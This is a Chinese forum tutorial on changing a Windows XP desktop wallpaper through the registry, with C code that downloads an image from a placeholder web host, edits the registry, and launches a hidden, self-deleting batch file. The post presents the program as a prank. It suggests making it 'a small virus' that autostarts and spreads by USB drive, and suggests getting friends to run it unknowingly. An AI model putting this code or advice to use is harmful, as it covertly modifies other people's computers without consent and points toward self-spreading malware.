你还没有登录,登录后可以看到更多精彩内容
您需要 登录 才可以下载或查看,没有账号?新成员注册
×
很多远程操作软件都带有一些恶作剧功能,但是很少有能够修改桌面背景的。其实实现这一功能也很简单,我们自己就可以做一个。
首先我们要了解系统是如何修改桌面背景的。一般来说,系统总是通过注册表来实现某些功能设置的。由于不同操作系统对注册表的修改可能不同,这里我们以windows xp为例进行演示。为什么要选择windows xp作为例子呢?一是因为使用的人多,二是修改起来也比其他系统要复杂,复杂的我们都会了,简单的还用说吗?我们先将桌面背景设置为g:\pb\pb_michael_1024x768.jpg这张图片,然后在注册表中搜索pb_michael_1024x768.jpg, 如图1所示,可以发现与三个键值有关,分别是:
hkey_current_user\control panel\desktop\convertedwallpaper
hkey_current_user\software\microsoft\windows\
currentversion\explorer\desktop\backgroundmanager\oldconverted
wallpaper(部分windows xp版本不存在该键值)
hkey_current_user\software\microsoft\windows\
currentversion\themes\lasttheme\wallpaper
其中,lasttheme是上一个主题,oldconvertedwallpaper是上一张桌面,显然与现有桌面无关,可以排除,这样就剩下一个键值了。修改这个键值为一张新图片的地址,发现桌面并没有改变,重新启动计算机,结果桌面背景为空白
难道只修改注册表还不能改变桌面背景?重新打开注册表,再搜寻一番,发现hkey_
current_user\control panel\desktop\下多个键值都为c:\documents and settings\
administrator\local settings\application data\microsoft\wallpaper1.bmp,打开该图片,显示的是之前pb_michael_
1024x768.jpg的图片,原来每次设置桌面背景,系统都会将图片处理后复制到这里(为什么知道是被系统处理过的呢?因为文件大小和文件名都改变了)。因此,只要我们将要设置成桌面的图片先设置成桌面,然后将wallpaper1.bmp复制出来(这步很重要,系统只认识处理过的图片,否则就会出现上文中的空白桌面),放在d:\1.bmp,然后将桌面背景换成其他图片,设置完成后,原来的文件c:\documents and settings\administrator\local settings\application data\microsoft\wallpaper1.bmp也会随之改变,现在只要将上文提到的那个键值修改为d:\1.bmp,并将d:\1.bmp覆盖掉c:\documents and settings\administrator\local settings\application data\microsoft\wallpaper1. bmp就可以了。不过这样修改不会马上生效,需要重启计算机后,才能得到修改后的桌面。
有了思路,用代码就很容易实现了。我们首先用代码实现把所需要的文件下载下来。
void down() //下载 {
urldownloadtofile(null,"http://website/jl.bmp","c:\\progra~1\\messenger\\jl.bmp",0,null)
//下载文件,jl.bmp是原先设置过桌面时的wallpaper1.bmp );
}
小提示:progra~1其实是program files的短文件名。由于当中有空格,系统无法识别长文件名,将长文件名转化为短文件名很简单,只要去掉空格,取前6位字母再加上~1,例如documents and settings短文件名是docume~1,local settings短文件名是locals~1。
然后再实现修改注册表,具体代码如下。
int getname()
//获取当前用户名并修改墙纸,需要重启生效
{
char szname[1024];
unsigned long lens = sizeof(szname);
getusername(szname, &lens );
//获取当前用户名
static char subkey1[] = "control panel\\desktop";
static char vname1[] = "convertedwallpaper";
static char exefile1[] = "c:\\progra~1\\messenger\\jl.bmp";
ulong dtype = reg_sz, len = 0;
hkey hkey;
regopenkeyex(hkey_current_user,subkey1,0,key_set_value|key_query_value,&hkey);
//打开注册表
regsetvalueex(hkey, vname1, 0, reg_sz,(byte *)exefile1, strlen(exefile1)+1); //加上。
regclosekey(hkey); //关闭注册表
file *f; //复制一份图片,利用批处理复制。
f=fopen("change.bat","w=");
fprintf(f,"copy c:\\progra~1\\messenger\\jl.bmp
c:\\docume~1\\%s\\locals~1\\applic~1\\microsoft
\\wallpaper1.bmp",szname);
//注意使用短文件名,由于用户名不同,wallpaper1.bmp地址也不同,所以要获取当前用户名
fprintf(f,"\n");
fprintf(f,"del change.bat");//自删除
fclose(f);
winexec("change.bat",sw_hide);
return 0;
}
至此,修改桌面的功能就完成了。至于其他系统,大家可以参考这一方法来修改。比如在windows2000 profession中,只要修改hkey_current_user\control panel\desktop\wallpaper,不用再复制图片。如果要完善它成为一个小病毒的话,可以通过注册表完成自启动,通过u盘传播(详细请参考黑客防线总第71期105页)。另外,新年快到了,如果我们将代码中提到的图片改成祝贺新年快乐的图片,再将程序发给朋友运行,当朋友再次启动计算机时,或许会获得一些意外的效果呢。
踩过的脚印